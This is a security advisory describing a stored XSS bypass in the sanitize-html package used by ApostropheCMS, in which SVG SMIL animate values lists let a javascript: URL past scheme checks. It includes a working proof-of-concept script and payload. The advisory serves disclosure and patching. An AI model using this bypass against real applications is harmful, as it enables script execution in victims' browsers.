fkie_cve-2026-84371

ApostropheCMS is an open-source Node.js content management system, and sanitize-html provides a simple HTML sanitizer with a clear API. From version 1.9.0 until version 2.17.7, packages/sanitize-html/index.js validates an animation value attribute as one flat URL and does not recognize that attributeName selecting href or xlink:href gives the sibling values, from, to, or by attribute SVG SMIL URL semantics. In configurations that allow the animate, animateColor, animateMotion, animateTransform, or set elements, a values list can begin with a safe fragment and contain a later executable destination that survives allowedSchemesAppliedToAttributes checking. When the sanitized SVG is rendered, the browser can copy that later destination into the live link, and a victim who activates the link can execute script in the application's origin. This issue is fixed in version 2.17.7.

GHSA-g8qq-57p8-ggw5 — ApostropheCMS: Stored XSS via SVG SMIL URI-list scheme-policy bypass

Affected: npm: sanitize-html

### Summary When SVG animation is allowed, `attributeName="href"` makes `values` a list of URL destinations. `sanitize-html` accepts a list that starts with a safe fragment even when `values` is explicitly scheme-checked, allowing a later `javascript:` destination to execute when the sanitized link is activated.

### Details `index.js:371-383` validates each attribute as one flat URL. It does not recognize that `attributeName="href"` gives the sibling `values` attribute SMIL URI-list semantics. For `values="#safe;javascript:..."`, the leading fragment passes the flat check and the complete list is retained.

### PoC This was reproduced with `sanitize-html@2.17.6` and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to `values`; it does not allow `javascript:`. Save this as `poc.js`:

```js const sanitize = require('sanitize-html');

const input = `<svg><a><animate attributeName="href" values="#safe;javascript:alert('XSS')" dur=".01s" fill="freeze"></animate><text y="30">Click me</text></a></svg>`; const output = sanitize(input, { allowedTags: sanitize.defaults.allowedTags.concat(['svg', 'animate', 'text']), allowedAttributes: { ...sanitize.defaults.allowedAttributes, animate: ['attributename', 'values', 'dur', 'fill'], text: ['y'] }, allowedSchemesAppliedToAttributes: sanitize.defaults.allowedSchemesAppliedToAttributes.concat(['values']) }); console.log(output); ```

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fkie_cve-2026-84371

GHSA-g8qq-57p8-ggw5 — ApostropheCMS: Stored XSS via SVG SMIL URI-list scheme-policy bypass